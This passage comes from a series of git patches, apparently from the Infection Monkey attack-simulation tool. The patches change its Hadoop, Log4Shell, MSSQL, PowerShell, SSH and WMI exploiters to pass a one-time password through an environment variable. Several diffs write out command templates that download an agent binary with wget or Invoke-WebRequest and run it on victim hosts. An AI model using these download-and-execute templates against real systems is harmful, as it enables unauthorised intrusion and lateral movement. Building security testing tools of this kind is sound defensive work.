MONKEY_ARG @@ -11,7 +13,8 @@ "powershell -NoLogo -Command \"if (!(Test-Path '%(monkey_path)s')) { " "Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing }; " " if (! (ps | ? {$_.path -eq '%(monkey_path)s'})) " - '{& %(monkey_path)s %(monkey_type)s %(parameters)s } "' + "{ set %(agent_otp_environment_variable)s=%(agent_otp)s ; " + '& %(monkey_path)s %(monkey_type)s %(parameters)s } "' ) # The hadoop server may request another monkey executable after the attacker's HTTP server has shut # down. This will result in wget creating a zero-length file, which needs to be removed. Using the @@ -34,7 +37,7 @@ HADOOP_LINUX_COMMAND_TEMPLATE = ( "wget --no-clobber -O %(monkey_path)s %(http_path)s " "|| sleep 5 && ( ( ! [ -s %(monkey_path)s ] ) && rm %(monkey_path)s ) " - "; chmod +x %(monkey_path)s " + "; export %(agent_otp_environment_variable)s=%(agent_otp)s ; chmod +x %(monkey_path)s " "&& %(monkey_path)s %(monkey_type)s %(parameters)s" ) @@ -45,6 +48,7 @@ def build_hadoop_command( servers: Sequence[str], current_depth: int, agent_download_url: str, + otp_provider: IAgentOTPProvider, ) -> str: monkey_cmd = build_monkey_commandline(agent_id, servers, current_depth + 1) @@ -58,4 +62,6 @@ def build_hadoop_command( "http_path": agent_download_url, "monkey_type": MONKEY_ARG, "parameters": monkey_cmd, + "agent_otp_environment_variable": AGENT_OTP_ENVIRONMENT_VARIABLE, + "agent_otp": otp_provider.get_otp(), } diff --git a/monkey/agent_plugins/exploiters/hadoop/src/hadoop_exploiter.py b/monkey/agent_plugins/exploiters/hadoop/src/hadoop_exploiter.py index 82dfdc3865e..9e889a77310 100644 --- a/monkey/agent_plugins/exploiters/hadoop/src/hadoop_exploiter.py +++ b/monkey/agent_plugins/exploiters/hadoop/src/hadoop_exploiter.py @@ -2,6 +2,7 @@ from typing import Callable, Sequence from common.types import AgentID, Event, NetworkPort, NetworkService, PortStatus +from infection_monkey.exploit import IAgentOTPProvider from infection_monkey.exploit.tools import HTTPBytesServer from infection_monkey.exploit.tools.web_tools import build_urls from infection_monkey.i_puppet import ExploiterResultData, TargetHost @@ -22,10 +23,12 @@ def __init__( agent_id: AgentID, hadoop_exploit_client: HadoopExploitClient, start_agent_binary_server: AgentBinaryServerFactory, + otp_provider: IAgentOTPProvider, ): self._agent_id = agent_id self._hadoop_exploit_client = hadoop_exploit_client self._start_agent_binary_server = start_agent_binary_server + self._otp_provider = otp_provider def exploit_host( self, @@ -61,8 +64,8 @@ def exploit_host( servers, current_depth, agent_binary_http_server.download_url, + self._otp_provider, ) - logger.debug(f"Command: {command}") try: logger.debug( diff --git a/monkey/agent_plugins/exploiters/hadoop/src/plugin.py b/monkey/agent_plugins/exploiters/hadoop/src/plugin.py index 057d5a03fc5..653e9d201e8 100644 --- a/monkey/agent_plugins/exploiters/hadoop/src/plugin.py +++ b/monkey/agent_plugins/exploiters/hadoop/src/plugin.py @@ -48,7 +48,7 @@ def __init__( ) self._hadoop_exploiter = HadoopExploiter( - agent_id, hadoop_exploit_client, agent_binary_server_factory + agent_id, hadoop_exploit_client, agent_binary_server_factory, otp_provider ) def run( From be2f0504315f8afe23aadad4a5755fe22045ccf7 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 16 Mar 2023 14:38:39 +0530 Subject: [PATCH 0918/1338] Agent: Modify Log4Shell exploiter's commands to set OTP in env var --- monkey/infection_monkey/exploit/log4shell.py | 3 +++ monkey/infection_monkey/model/__init__.py | 6 ++++-- 2 files changed, 7 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index 5e0cbfcc098..84484c0e82a 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -5,6 +5,7 @@ from egg_timer import EggTimer from common import OperatingSystem +from common.common_consts import AGENT_OTP_ENVIRONMENT_VARIABLE from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT from common.tags import ( T1105_ATTACK_TECHNIQUE_TAG, @@ -147,6 +148,8 @@ def _build_command(self, path: PurePath, http_path) -> str: return base_command % { "monkey_path": path, "http_path": http_path, + "agent_otp_environment_variable": AGENT_OTP_ENVIRONMENT_VARIABLE, + "agent_otp": self.otp_provider.get_otp(), "monkey_type": DROPPER_ARG, "parameters": monkey_cmd, } diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py index 739b4010527..c9ada9a02df 100644 --- a/monkey/infection_monkey/model/__init__.py +++ b/monkey/infection_monkey/model/__init__.py @@ -39,13 +39,15 @@ LOG4SHELL_LINUX_COMMAND = ( "wget -O %(monkey_path)s %(http_path)s ;" - " chmod +x %(monkey_path)s ;" + "export %(agent_otp_environment_variable)s=%(agent_otp)s ;" + "chmod +x %(monkey_path)s ;" " %(monkey_path)s %(monkey_type)s %(parameters)s" ) LOG4SHELL_WINDOWS_COMMAND = ( 'powershell -NoLogo -Command "' "Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing; " - ' %(monkey_path)s %(monkey_type)s %(parameters)s"' + "set %(agent_otp_environment_variable)s=%(agent_otp)s ; " + '%(monkey_path)s %(monkey_type)s %(parameters)s"' ) DOWNLOAD_TIMEOUT = 180 From 44dfced6f47ec89b799d34065fc216eb551aab5a Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 16 Mar 2023 16:30:12 +0530 Subject: [PATCH 0919/1338] Agent: Modify MSSQL exploiter to set OTP in env var --- monkey/infection_monkey/exploit/mssqlexec.py | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 4fd162914c4..b613285dfc9 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -5,6 +5,7 @@ import pymssql +from common.common_consts import AGENT_OTP_ENVIRONMENT_VARIABLE from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT from common.credentials import get_plaintext from common.tags import ( @@ -80,6 +81,7 @@ def _exploit_host(self) -> ExploiterResultData: timestamp = time() try: self._upload_agent(agent_path_on_victim) + self._set_agent_otp() self._run_agent(agent_path_on_victim) except Exception as e: error_message = ( @@ -199,6 +201,10 @@ def _stop_agent_server(http_thread: LockedHTTPServer): http_thread.stop() http_thread.join(LONG_REQUEST_TIMEOUT) + def _set_agent_otp(self): + command = f"set {AGENT_OTP_ENVIRONMENT_VARIABLE}={self.otp_provider.get_otp()}" + self._run_mssql_command(command) + def _run_agent(self, agent_path_on_victim: PureWindowsPath): agent_launch_command = self._build_agent_launch_command(agent_path_on_victim) self._run_mssql_command(agent_launch_command) From c0a106b61437ef7462b13682340197c3affce622 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 16 Mar 2023 16:39:14 +0530 Subject: [PATCH 0920/1338] Agent: Modify PowerShell exploiter to set OTP in env var --- monkey/infection_monkey/exploit/powershell.py | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 93eb92cdc53..5e6297947c0 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -4,6 +4,7 @@ from typing import List, Optional from common import OperatingSystem +from common.common_consts import AGENT_OTP_ENVIRONMENT_VARIABLE from common.tags import ( T1059_ATTACK_TECHNIQUE_TAG, T1105_ATTACK_TECHNIQUE_TAG, @@ -209,13 +210,18 @@ def _create_local_agent_file(self, binary_path): f.write(agent_binary_bytes.getvalue()) def _run_monkey_executable_on_victim(self, executable_path): + set_agent_otp_command = ( + f"set {AGENT_OTP_ENVIRONMENT_VARIABLE}={self.otp_provider.get_otp()}" + ) monkey_execution_command = build_monkey_execution_command( self.agent_id, self.servers, self.current_depth + 1, executable_path ) + run_agent_command = f"{set_agent_otp_command} ; {monkey_execution_command}" + logger.info(f"Attempting to execute the monkey agent on remote host " f"{self.host.ip}") - self._client.execute_cmd_as_detached_process(monkey_execution_command) + self._client.execute_cmd_as_detached_process(run_agent_command) def build_monkey_execution_command( From c6e6e62e8afd7d80082e6c3e3969f1a09348c9e2 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 16 Mar 2023 16:42:27 +0530 Subject: [PATCH 0921/1338] Agent: Modify SSH exploiter to set OTP in env var --- monkey/infection_monkey/exploit/sshexec.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 155c8477259..8c48ca9a845 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -10,6 +10,7 @@ from common import OperatingSystem from common.agent_events import TCPScanEvent +from common.common_consts import AGENT_OTP_ENVIRONMENT_VARIABLE from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT from common.credentials import get_plaintext from common.tags import ( @@ -236,7 +237,8 @@ def _propagate(self, ssh: paramiko.SSHClient): raise FailedExploitationError(self.exploit_result.error_message) try: - cmdline = f"{monkey_path_on_victim} {MONKEY_ARG}" + cmdline = f"export {AGENT_OTP_ENVIRONMENT_VARIABLE}={self.otp_provider.get_otp()} ;" + cmdline += f" {monkey_path_on_victim} {MONKEY_ARG}" cmdline += build_monkey_commandline(self.agent_id, self.servers, self.current_depth + 1) cmdline += " > /dev/null 2>&1 &" timestamp = time() From 655d3f45192993b9e232424bfb468d8c4dfb6da0 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 16 Mar 2023 16:50:01 +0530 Subject: [PATCH 0922/1338] Agent: Modify WMI exploiter to set OTP in env var --- monkey/infection_monkey/exploit/wmiexec.py | 15 +++++++++++++-- 1 file changed, 13 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py index 48b69a8b6ab..8ddefa1c97a 100644 --- a/monkey/infection_monkey/exploit/wmiexec.py +++ b/monkey/infection_monkey/exploit/wmiexec.py @@ -6,6 +6,7 @@ from impacket.dcerpc.v5.rpcrt import DCERPCException +from common.common_consts import AGENT_OTP_ENVIRONMENT_VARIABLE from common.credentials import get_plaintext from common.tags import ( T1021_ATTACK_TECHNIQUE_TAG, @@ -125,7 +126,10 @@ def _exploit_host(self) -> ExploiterResultData: return self.exploit_result # execute the remote dropper in case the path isn't final elif remote_full_path.lower() != DROPPER_TARGET_PATH_WIN64: - cmdline = DROPPER_CMDLINE_WINDOWS % { + set_agent_otp_command = ( + f"set {AGENT_OTP_ENVIRONMENT_VARIABLE}={self.otp_provider.get_otp()}" + ) + monkey_execution_command = DROPPER_CMDLINE_WINDOWS % { "dropper_path": remote_full_path } + build_monkey_commandline( self.agent_id, @@ -133,11 +137,18 @@ def _exploit_host(self) -> ExploiterResultData: self.current_depth + 1, DROPPER_TARGET_PATH_WIN64, ) + + cmdline = f"{set_agent_otp_command} ; {monkey_execution_command}" else: - cmdline = MONKEY_CMDLINE_WINDOWS % { + set_agent_otp_command = ( + f"set {AGENT_OTP_ENVIRONMENT_VARIABLE}={self.otp_provider.get_otp()}" + ) + monkey_execution_command = MONKEY_CMDLINE_WINDOWS % { "monkey_path": remote_full_path } + build_monkey_commandline(self.agent_id, self.servers, self.current_depth + 1) + cmdline = f"{set_agent_otp_command} ; {monkey_execution_command}" + # execute the remote monkey result = WmiTools.get_object(wmi_connection, "Win32_Process").Create( cmdline, ntpath.split(remote_full_path)[0], None From 8beeb2bdec4e9a8e39cf4d43ae3413c26fe3487d Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 17 Mar 2023 12:19:20 +0530 Subject: [PATCH 0923/1338] Hadoop: Pass OTP to Hadoop's command builder instead of passing the OTP provider --- .../exploiters/hadoop/src/hadoop_command_builder.py | 5 ++--- .../agent_plugins/exploiters/hadoop/src/hadoop_exploiter.py | 2 +- 2 files changed, 3 insertions(+), 4 deletions(-) diff --git a/monkey/agent_plugins/exploiters/hadoop/src/hadoop_command_builder.py b/monkey/agent_plugins/exploiters/hadoop/src/hadoop_command_builder.py index 0fd7b36a2f5..dccecfd7d96 100644 --- a/monkey/agent_plugins/exploiters/hadoop/src/hadoop_command_builder.py +++ b/monkey/agent_plugins/exploiters/hadoop/src/hadoop_command_builder.py @@ -3,7 +3,6 @@ from common import OperatingSystem from common.types import AgentID from common.common_consts import AGENT_OTP_ENVIRONMENT_VARIABLE -from infection_monkey.exploit import IAgentOTPProvider from infection_monkey.exploit.tools.helpers import get_agent_dst_path from infection_monkey.i_puppet import TargetHost from infection_monkey.model import MONKEY_ARG @@ -48,7 +47,7 @@ def build_hadoop_command( servers: Sequence[str], current_depth: int, agent_download_url: str, - otp_provider: IAgentOTPProvider, + otp: str, ) -> str: monkey_cmd = build_monkey_commandline(agent_id, servers, current_depth + 1) @@ -63,5 +62,5 @@ def build_hadoop_command( "monkey_type": MONKEY_ARG, "parameters": monkey_cmd, "agent_otp_environment_variable": AGENT_OTP_ENVIRONMENT_VARIABLE, - "agent_otp": otp_provider.get_otp(), + "agent_otp": otp, } diff --git a/monkey/agent_plugins/exploiters/hadoop/src/hadoop_exploiter.py b/monkey/agent_plugins/exploiters/hadoop/src/hadoop_exploiter.py index 9e889a77310..89375fcbb29 100644 --- a/monkey/agent_plugins/exploiters/hadoop/src/hadoop_exploiter.py +++ b/monkey/agent_plugins/exploiters/hadoop/src/hadoop_exploiter.py @@ -64,7 +64,7 @@ def exploit_host( servers, current_depth, agent_binary_http_server.download_url, - self._otp_provider, + self._otp_provider.get_otp(), ) try: From 10ad36a48dfc4edb5aa258b7bfecccccdfeef8c9 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 17 Mar 2023 12:24:36 +0530 Subject: [PATCH 0924/1338] Agent: Modify how MSSQL exploiter sets the Agent OTP env var --- monkey/infection_monkey/exploit/mssqlexec.py | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index b613285dfc9..d478236b82d 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -81,7 +81,6 @@ def _exploit_host(self) -> ExploiterResultData: timestamp = time() try: self._upload_agent(agent_path_on_victim) - self._set_agent_otp() self._run_agent(agent_path_on_victim) except Exception as e: error_message = ( @@ -201,17 +200,16 @@ def _stop_agent_server(http_thread: LockedHTTPServer): http_thread.stop() http_thread.join(LONG_REQUEST_TIMEOUT) - def _set_agent_otp(self): - command = f"set {AGENT_OTP_ENVIRONMENT_VARIABLE}={self.otp_provider.get_otp()}" - self._run_mssql_command(command) - def _run_agent(self, agent_path_on_victim: PureWindowsPath): agent_launch_command = self._build_agent_launch_command(agent_path_on_victim) self._run_mssql_command(agent_launch_command) def _build_agent_launch_command(self, agent_path_on_victim: PureWindowsPath) -> str: + set_agent_otp_command = ( + f"set {AGENT_OTP_ENVIRONMENT_VARIABLE}={self.otp_provider.get_otp()}" + ) agent_args = build_monkey_commandline( self.agent_id, self.servers, self.current_depth + 1, str(agent_path_on_victim) ) - return f"{agent_path_on_victim} {DROPPER_ARG} {agent_args}" + return f"{set_agent_otp_command} ; {agent_path_on_victim} {DROPPER_ARG} {agent_args}" From f3f5ab2eee3d4e2a3e1cd2fbb2515d14d94a3926 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 17 Mar 2023 17:58:30 +0530 Subject: [PATCH 0925/1338] Hadoop: Change order of operations in exploitation command --- .../exploiters/hadoop/src/hadoop_command_builder.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/agent_plugins/exploiters/hadoop/src/hadoop_command_builder.py b/monkey/agent_plugins/exploiters/hadoop/src/hadoop_command_builder.py index dccecfd7d96..6c74a86e7eb 100644 --- a/monkey/agent_plugins/exploiters/hadoop/src/hadoop_command_builder.py +++ b/monkey/agent_plugins/exploiters/hadoop/src/hadoop_command_builder.py @@ -36,7 +36,8 @@ HADOOP_LINUX_COMMAND_TEMPLATE = ( "wget --no-clobber -O %(monkey_path)s %(http_path)s " "|| sleep 5 && ( ( ! [ -s %(monkey_path)s ] ) && rm %(monkey_path)s ) " - "; export %(agent_otp_environment_variable)s=%(agent_otp)s ; chmod +x %(monkey_path)s " + "; chmod +x %(monkey_path)s " + "&& export %(agent_otp_environment_variable)s=%(agent_otp)s " "&& %(monkey_path)s %(monkey_type)s %(parameters)s" ) From 5ea911bb54a798528ee1b85163878cbbdc535f96 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 20 Mar 2023 13:18:16 +0530 Subject: [PATCH 0926/1338] Agent: Modify Windows exploiters' OTP setting commands --- monkey/infection_monkey/exploit/mssqlexec.py | 2 +- monkey/infection_monkey/exploit/powershell.py | 2 +- monkey/infection_monkey/exploit/wmiexec.py | 4 ++-- monkey/infection_monkey/model/__init__.py | 2 +- 4 files changed, 5 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index d478236b82d..ddb6a3b78cd 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -212,4 +212,4 @@ def _build_agent_launch_command(self, agent_path_on_victim: PureWindowsPath) -> self.agent_id, self.servers, self.current_depth + 1, str(agent_path_on_victim) ) - return f"{set_agent_otp_command} ; {agent_path_on_victim} {DROPPER_ARG} {agent_args}" + return f"{set_agent_otp_command} && {agent_path_on_victim} {DROPPER_ARG} {agent_args}" diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 5e6297947c0..527735b05f7 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -217,7 +217,7 @@ def _run_monkey_executable_on_victim(self, executable_path): self.agent_id, self.servers, self.current_depth + 1, executable_path ) - run_agent_command = f"{set_agent_otp_command} ; {monkey_execution_command}" + run_agent_command = f"{set_agent_otp_command} && {monkey_execution_command}" logger.info(f"Attempting to execute the monkey agent on remote host " f"{self.host.ip}") diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py index 8ddefa1c97a..4bf29f8463d 100644 --- a/monkey/infection_monkey/exploit/wmiexec.py +++ b/monkey/infection_monkey/exploit/wmiexec.py @@ -138,7 +138,7 @@ def _exploit_host(self) -> ExploiterResultData: DROPPER_TARGET_PATH_WIN64, ) - cmdline = f"{set_agent_otp_command} ; {monkey_execution_command}" + cmdline = f"{set_agent_otp_command} && {monkey_execution_command}" else: set_agent_otp_command = ( f"set {AGENT_OTP_ENVIRONMENT_VARIABLE}={self.otp_provider.get_otp()}" @@ -147,7 +147,7 @@ def _exploit_host(self) -> ExploiterResultData: "monkey_path": remote_full_path } + build_monkey_commandline(self.agent_id, self.servers, self.current_depth + 1) - cmdline = f"{set_agent_otp_command} ; {monkey_execution_command}" + cmdline = f"{set_agent_otp_command} && {monkey_execution_command}" # execute the remote monkey result = WmiTools.get_object(wmi_connection, "Win32_Process").Create( diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py index c9ada9a02df..8f7b562b079 100644 --- a/monkey/infection_monkey/model/__init__.py +++ b/monkey/infection_monkey/model/__init__.py @@ -47,7 +47,7 @@ LOG4SHELL_WINDOWS_COMMAND = ( 'powershell -NoLogo -Command "' "Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing; " - "set %(agent_otp_environment_variable)s=%(agent_otp)s ; " + "set %(agent_otp_environment_variable)s=%(agent_otp)s && " '%(monkey_path)s %(monkey_type)s %(parameters)s"' ) DOWNLOAD_TIMEOUT = 180 From 466dccd526c652d422096b0fe3dda961b2e8381d Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 20 Mar 2023 13:18:39 +0530 Subject: [PATCH 0927/1338] Hadoop: Modify Windows OTP setting command --- .../exploiters/hadoop/src/hadoop_command_builder.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/agent_plugins/exploiters/hadoop/src/hadoop_command_builder.py b/monkey/agent_plugins/exploiters/hadoop/src/hadoop_command_builder.py index 6c74a86e7eb..8dfaab691f5 100644 --- a/monkey/agent_plugins/exploiters/hadoop/src/hadoop_command_builder.py +++ b/monkey/agent_plugins/exploiters/hadoop/src/hadoop_command_builder.py @@ -12,7 +12,7 @@ "powershell -NoLogo -Command \"if (!(Test-Path '%(monkey_path)s')) { " "Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing }; " " if (! (ps | ? {$_.path -eq '%(monkey_path)s'})) " - "{ set %(agent_otp_environment_variable)s=%(agent_otp)s ; " + "{ set %(agent_otp_environment_variable)s=%(agent_otp)s && " '& %(monkey_path)s %(monkey_type)s %(parameters)s } "' ) # The hadoop server may request another monkey executable after the attacker's HTTP server has shut From 69b6b4f709364552ed40f2f4d612bdf9071b1fde Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 22 Mar 2023 18:38:14 +0530 Subject: [PATCH 0928/1338] Agent: Add space in exception message in monkey.py --- monkey/infection_monkey/monkey.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index e80fe7c2b36..0d53a0bfc8f 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -183,7 +183,7 @@ def _get_otp() -> OTP: otp = SecretVariable(os.environ[AGENT_OTP_ENVIRONMENT_VARIABLE]) except KeyError: raise Exception( - f"Couldn't find {AGENT_OTP_ENVIRONMENT_VARIABLE} environmental variable." + f"Couldn't find {AGENT_OTP_ENVIRONMENT_VARIABLE} environmental variable. " f"Without an OTP the agent will fail to authenticate!" ) From 24f0344c60294444a825ca36187a5b03b28d8cc1 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 22 Mar 2023 18:43:42 +0530 Subject: [PATCH 0929/1338] Agent: Modify windows cmdline constants for running the Agent to include setting OTP --- monkey/infection_monkey/model/__init__.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py index 8f7b562b079..05d6be1bda5 100644 --- a/monkey/infection_monkey/model/__init__.py +++ b/monkey/infection_monkey/model/__init__.py @@ -14,12 +14,14 @@ CMD_EXE = "cmd.exe" CMD_CARRY_OUT = "/c" CMD_PREFIX = CMD_EXE + " " + CMD_CARRY_OUT -DROPPER_CMDLINE_WINDOWS = "%s %%(dropper_path)s %s" % ( +DROPPER_CMDLINE_WINDOWS = "%s %s %%(dropper_path)s %s" % ( CMD_PREFIX, + SET_OTP_WINDOWS, DROPPER_ARG, ) -MONKEY_CMDLINE_WINDOWS = "%s %%(monkey_path)s %s" % ( +MONKEY_CMDLINE_WINDOWS = "%s %s %%(monkey_path)s %s" % ( CMD_PREFIX, + SET_OTP_WINDOWS, MONKEY_ARG, ) From a713b2dee6c527ca4565f861cdde1d6982f24d0b Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 22 Mar 2023 18:44:32 +0530 Subject: [PATCH 0930/1338] Agent: Modify WMI exploiter commands for running Agent --- monkey/infection_monkey/exploit/wmiexec.py | 22 ++++++++-------------- 1 file changed, 8 insertions(+), 14 deletions(-) diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py index 4bf29f8463d..920373c1c41 100644 --- a/monkey/infection_monkey/exploit/wmiexec.py +++ b/monkey/infection_monkey/exploit/wmiexec.py @@ -126,29 +126,23 @@ def _exploit_host(self) -> ExploiterResultData: return self.exploit_result # execute the remote dropper in case the path isn't final elif remote_full_path.lower() != DROPPER_TARGET_PATH_WIN64: - set_agent_otp_command = ( - f"set {AGENT_OTP_ENVIRONMENT_VARIABLE}={self.otp_provider.get_otp()}" - ) - monkey_execution_command = DROPPER_CMDLINE_WINDOWS % { - "dropper_path": remote_full_path + cmdline = DROPPER_CMDLINE_WINDOWS % { + "agent_otp_environment_variable": AGENT_OTP_ENVIRONMENT_VARIABLE, + "agent_otp": self.otp_provider.get_otp(), + "dropper_path": remote_full_path, } + build_monkey_commandline( self.agent_id, self.servers, self.current_depth + 1, DROPPER_TARGET_PATH_WIN64, ) - - cmdline = f"{set_agent_otp_command} && {monkey_execution_command}" else: - set_agent_otp_command = ( - f"set {AGENT_OTP_ENVIRONMENT_VARIABLE}={self.otp_provider.get_otp()}" - ) - monkey_execution_command = MONKEY_CMDLINE_WINDOWS % { - "monkey_path": remote_full_path + cmdline = MONKEY_CMDLINE_WINDOWS % { + "agent_otp_environment_variable": AGENT_OTP_ENVIRONMENT_VARIABLE, + "agent_otp": self.otp_provider.get_otp(), + "monkey_path": remote_full_path, } + build_monkey_commandline(self.agent_id, self.servers, self.current_depth + 1) - cmdline = f"{set_agent_otp_command} && {monkey_execution_command}" - # execute the remote monkey result = WmiTools.get_object(wmi_connection, "Win32_Process").Create( cmdline, ntpath.split(remote_full_path)[0], None From a4f41a212fb3708b5f7bb653c178a2a04345faa2 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 22 Mar 2023 18:51:24 +0530 Subject: [PATCH 0931/1338] Agent: Modify PowerShell exploiter command for running Agent --- monkey/infection_monkey/exploit/powershell.py | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 527735b05f7..3a800696330 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -24,7 +24,7 @@ PowerShellClient, ) from infection_monkey.exploit.tools.helpers import get_agent_dst_path, get_random_file_suffix -from infection_monkey.model import DROPPER_ARG, RUN_MONKEY +from infection_monkey.model import CMD_PREFIX, DROPPER_ARG, RUN_MONKEY, SET_OTP_WINDOWS from infection_monkey.utils.commands import build_monkey_commandline from infection_monkey.utils.threading import interruptible_iter @@ -210,9 +210,10 @@ def _create_local_agent_file(self, binary_path): f.write(agent_binary_bytes.getvalue()) def _run_monkey_executable_on_victim(self, executable_path): - set_agent_otp_command = ( - f"set {AGENT_OTP_ENVIRONMENT_VARIABLE}={self.otp_provider.get_otp()}" - ) + set_agent_otp_command = f"{CMD_PREFIX} {SET_OTP_WINDOWS}" % { + "agent_otp_environment_variable": AGENT_OTP_ENVIRONMENT_VARIABLE, + "agent_otp": self.otp_provider.get_otp(), + } monkey_execution_command = build_monkey_execution_command( self.agent_id, self.servers, self.current_depth + 1, executable_path ) From 2fe654857188f7fb8e2891ebf0f62030b04b0e18 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 22 Mar 2023 19:03:32 +0530 Subject: [PATCH 0932/1338] Agent: Modify Log4Shell exploiter windows command for running Agent --- monkey/infection_monkey/model/__init__.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py index 05d6be1bda5..8567c0b4a11 100644 --- a/monkey/infection_monkey/model/__init__.py +++ b/monkey/infection_monkey/model/__init__.py @@ -49,7 +49,7 @@ LOG4SHELL_WINDOWS_COMMAND = ( 'powershell -NoLogo -Command "' "Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing; " - "set %(agent_otp_environment_variable)s=%(agent_otp)s && " + "$env:%(agent_otp_environment_variable)s=%(agent_otp)s ; " '%(monkey_path)s %(monkey_type)s %(parameters)s"' ) DOWNLOAD_TIMEOUT = 180 From db02ec7393f487d5605bb6aef7e99c3944080911 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 22 Mar 2023 19:12:52 +0530 Subject: [PATCH 0933/1338] Hadoop: Modify windows command for running Agent --- .../exploiters/hadoop/src/hadoop_command_builder.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/agent_plugins/exploiters/hadoop/src/hadoop_command_builder.py b/monkey/agent_plugins/exploiters/hadoop/src/hadoop_command_builder.py index 8dfaab691f5..d26ec865db9 100644 --- a/monkey/agent_plugins/exploiters/hadoop/src/hadoop_command_builder.py +++ b/monkey/agent_plugins/exploiters/hadoop/src/hadoop_command_builder.py @@ -12,7 +12,7 @@ "powershell -NoLogo -Command \"if (!(Test-Path '%(monkey_path)s')) { " "Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing }; " " if (! (ps | ? {$_.path -eq '%(monkey_path)s'})) " - "{ set %(agent_otp_environment_variable)s=%(agent_otp)s && " + "{ $env:%(agent_otp_environment_variable)s=%(agent_otp)s ; " '& %(monkey_path)s %(monkey_type)s %(parameters)s } "' ) # The hadoop server may request another monkey executable after the attacker's HTTP server has shut From da7b7e420d58c77ae382d503f3a1eab05d198d30 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 23 Mar 2023 16:32:56 +0530 Subject: [PATCH 0934/1338] Agent: Use SET_OTP_WINDOWS constant in MSSQL exploiter --- monkey/infection_monkey/exploit/mssqlexec.py | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) diff --git 